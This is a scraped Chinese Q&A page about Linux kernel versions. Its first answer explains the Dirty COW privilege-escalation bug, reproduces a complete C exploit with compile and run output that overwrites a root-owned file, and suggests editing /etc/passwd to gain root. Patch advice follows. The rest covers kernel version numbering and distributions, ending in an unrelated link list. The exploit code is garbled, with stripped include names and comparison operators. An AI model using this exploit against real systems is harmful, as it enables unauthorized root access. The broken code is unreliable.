導航:首頁 > 版本升級 > linux提權內核版本

linux提權內核版本

發布時間:2022-01-21 01:49:24

linux內核通殺提權漏洞怎麼驗證

Linux內核在處理內存寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有隻讀內存映射。一個低許可權的本地用戶能夠利用此漏洞獲取其他只讀內存映射的寫許可權,有可能進一步導致提權漏洞。漏洞危害:低許可權用戶可以利用該漏洞修改只讀內存,進而執行任意代碼獲取 root 許可權。影響范圍:該漏洞影響所有 Linux Kernel >= 2.6.22 的版本。2.6.22 是 2007 年發布的版本,也就是說這個漏洞幾乎影響 2007 以後的所有版本。漏洞測試:讀取 /proc/version 來獲取 LinuxKernel 版本:
➜ ~ cat /proc/version
Linuxversion 4.4.0-42-generic(buildd@lgw01-13) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.2) )#62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 20164.4.0 版本的Kernel,看樣子是受影響的,github 上給出了如下的 POC:
#include
#include
#include
#include
#include
void *map;
int f;
structstat st;
char*name;
void*madviseThread(void *arg) {
char *str;
str = (char *)arg;
int i, c = 0;
for (i = 0; i 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n", c);
}
void*procselfmemThread(void *arg) {
char *str;
str = (char *)arg;
int f = open("/proc/self/mem",O_RDWR);
int i, c = 0;
for (i = 0; i 100000000; i++) {
lseek(f, map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n", c);
}
intmain(int argc, char *argv[]) {
if (argc 3)
return 1;
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f, 0);
printf("mmap %x\n", map);
pthread_create(&pth1, NULL,madviseThread, argv[1]);
pthread_create(&pth2, NULL,procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}這個 POC 可以利用該漏洞修改任意文件內容,看下面的測試:
➜ /tmp gcc a.c -lpthread
a.c: Infunction 『procselfmemThread』:
a.c:28:5:warning: implicit declaration of function 『lseek』[-Wimplicit-function-declaration]
lseek(f, map, SEEK_SET);
a.c:29:10:warning: implicit declaration of function 『write』[-Wimplicit-function-declaration]
c += write(f, str, strlen(str));
a.c: Infunction 『main』:
a.c:39:3:warning: implicit declaration of function 『fstat』[-Wimplicit-function-declaration]
fstat(f, &st);調用 gcc 編譯這個 payload,報了幾個 warning,但還是編譯成功了。
➜ /tmp su root -c 'echo 0000 > test'
Password:
➜ /tmp ls -al test
-rw-r--r--1 root root 5 Oct 16 23:52 test使用 root 許可權創建一個其他用戶只讀的 test 文件,許可權為 644,內容為 0000。
➜ /tmp id
uid=1000(Monster) gid=1000(monster) groups=1000(monster)
➜ /tmp ./a.out test 1111
mmap61222000
madvise 0
procselfmem400000000使用當前用戶調用編譯出的 a.out 程序把 test 文件的內容修改為 1111,經過漫長的等待以後程序終於執行完成。
➜ /tmp cat test
1111可以看到結果,test 文件的內容已經被成功修改。
這樣的話,只要修改 /etc/passwd 把當前用戶的 uid 改成 0 就可以作為 root 登錄了。
修復方案:
更新最新 Linux Kernel 源碼,並重新編譯。 各大發行版也已經更新 Kernel,也可直接升級最新版本。

② linux操作系統的內核版本有什麼特點

樓主:
Linux 是一個開放自由的操作系統內核,具有一些鮮明特點如下:
(1) Linux 是一個一體化內核;
註:「一體化內核」是也稱「宏內核」,是相對於「微內核」而言的。幾乎所有
的嵌入式和實時系統都採用微內核,如 VxWorks、uC/OS-II、PSOS 等。
(2) 可移植性強。盡管 Linus 最初只為在 X86 PC 上實現一個「類 UNIX」,後來隨
著加入者的努力,Linux 目前已經成為支持硬體平台最廣泛的操作系統;
註:目前已經在 X86、IA64、ARM、MIPS、AVR32、M68K、S390、Blackfin、M32R
等眾多架構處理器上運行。
(3) 是一個可裁剪操作系統內核。Linux 極具伸縮性,內核可以任意裁剪,可以大至
幾十或者上百兆,可以小至幾百 K,運行的設備從超級計算機、大型伺服器到
小型嵌入式系統、掌上移動設備或者嵌入式模塊,都可以運行;
(4) 模塊化。Linux 內核採用模塊化設計,很多功能模塊都可以編譯為模塊,可以在
內核運行中動態載入/卸載而無需重啟系統;

③ 如何通過linux內核漏洞提權

配置信任連接 root下 輸入 生成 公私鑰 ssh-keygen -t rsa然後將公鑰到服務端改名 或者新建為 authorized_keys 在/root/.ssh下

④ linux 內核版本問題

第一行:lsb_release -a 是一個顯示當前 Linux 系統版本核心信息的命令。 -a 這個參數會所有的相關信息。
第二行:從這里開始是命令輸出的信息。LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch 指的是 core版本 3.1 ia32 / noarch 以及 graphic 3.1 ia32/noarch 的 LSB 規范適用於當前操作系統。這樣看來,你安裝的應該是 i386 即 ia32 版本。 noarch 指沒有硬體平台要求,包括 ia32/amd64 等等。
第三行:Distributor ID: CentOS 這個指發行者 ID,這里就是 CentOS
第四行:Description: CentOS release 5.5 (Final),這個是當前發行版的描述,這里是 CentOS 定義的, CentOS 5.5 最終版
第五行:Release: 5.5,當前系統的發行號碼,可以理解為版本號
第六行:Codename: Final,這是發行者定義的項目名稱,這里是 Final。
所以從上面的信息,可以看出當前運行的系統是 CentOS 5.5 的最終版,而且是 ia32 即 32位版本的。

⑤ linux現在最新內核版本是多少

linux內核版本的分類Linux內核版本有兩種:穩定版和開發版 ,Linux內核版本號由3組數字組成:第一個組數字.第二組數字.第三組數字

第一個組數字:目前發布的內核主版本。

第二個組數字:偶數表示穩定版本;奇數表示開發中版本。

第三個組數字:錯誤修補的次數。

例1: 2.6.18-128.ELsmp ,

第一個組數字: 2 , 主版本號

第二個組數字: 6 , 次版本號,表示穩定版本(因為有偶數)

第三個組數字 18 , 修訂版本號 ,

表示修改的次數,頭兩個數字合在一齊可以描述內核系列。如穩定版的2.6.0,它是2.6版內核系列。128: 表示這個當前版本的第5次微調patch, 而ELsmp指出了當前內核是為ELsmp特別調校的 EL : Enterprise Linux ; smp : 表示支持多處理器 , 表示該內核版本支持多處理器。
linux發行版:

就Linux的本質來說,它只是操作系統的核心,負責控制硬體、管理文件系統、程序進程等,並不給用戶提供各種工具和應用軟體。所謂工欲善其事,被必先利其器,一套在優秀的操作系統核心,若沒有強大的應用軟體可以使用,如C/C++編譯器、C/C++庫、系統管理工具、網路工具、辦公軟體、多媒體軟體、繪圖軟體等,也無法發揮它強大的功能,用戶也無法僅僅使用這個系統核心進行工作,因此人們以Linux核心為中心,再集成搭配各種各樣的系統管理軟體或應用工具軟體組成一套完整的操作系統,如此的組合便稱為Linux發行版。
常見linux發行版如下

⑥ linux的內核版本表示是怎樣的

1:什麼是LINUX內核:Linux是一個一體化內核(monolithic kernel)系統。「內核」指的是一個提供硬體抽象層、磁碟及文件系統控制、多任務等功能的系統軟體。一個內核不是一套完整的操作系統。一套基於Linux內核的完整操作系統叫作Linux操作系統,或是GNU/Linux。設備驅動程序可以完全訪問硬體。Linux內的設備驅動程序可以方便地以模塊化(molarize)的形式設置,並在系統運行期間可直接裝載或卸載
2:內核版本表示:Linux內核版本號由3組數字組成:第一個組數字.第二組數字.第三組數字
第一個組數字:目前發布的內核主版本。
第二個組數字:偶數表示穩定版本;奇數表示開發中版本。
第三個組數字:錯誤修補的次數

⑦ linux kernel 內核版本修改

2.6.18-238.el5 內核版本類的信息是不能修改的
機器主機名倒是可以修改,使用hostname xxxx,修改為你自己電腦的名字,重啟後失效
要永久生效的話,修改/etc/sysconfig/network
[root@linux-node2 ~]# cat /etc/sysconfig/network
NETWORKING=yes
NETWORKING_IPV6=yes
HOSTNAME=linux-node2

⑧ 什麼是linux的內核版本

Linux內核版本:Linux的內核是Linux操作系統的核心組件,它會定期的更新.每次更新都有一個版專本號,這個版本號就是屬Linux的內核把本,比如現在最新的是3.2.X了~
Linux的發行版本,不同組織發行的,他們的發行的Linux操作系統包括內核和外圍的GNU的應用程序組成,一般來說是一個比較完整的操作系統,每個組織發行的版本是不太一樣的(內核的修改、打包的應用軟體、不同的包管理系統等等),這些不同的版本成為Linux發行版本。
常見發行版本:fedora,archlinux,ubuntu,Centos,RHEL,Debian等。

閱讀全文

與linux提權內核版本相關的資料

熱點內容
想資料庫中一個欄位添加數組 瀏覽:466
電影法國啄木鳥 瀏覽:120
家教高級教程女演員 瀏覽:675
多多和妓院里的小女孩 瀏覽:688
word2003如何去掉首頁頁碼 瀏覽:602
win10qq接受文件藍屏 瀏覽:892
穿越到一個全是女人的世界 瀏覽:367
linux回車命令 瀏覽:219
無毒電影網站推薦幾個 瀏覽:391
iphone網路顯示名稱 瀏覽:497
AW 5FP 瀏覽:547
微信群發敏感詞在線 瀏覽:718
一個外國電影,有的人有超能力 瀏覽:20
韓劇片 瀏覽:255
wps教學視頻教程 瀏覽:484
主角建國發展類的小說 瀏覽:411
linux命令查找目錄文件 瀏覽:770
北玄仙尊陳北玄的小說 瀏覽:355
狂怒余男迅雷下載 瀏覽:572
抓四人幫的電視劇叫什麼 瀏覽:374

友情鏈接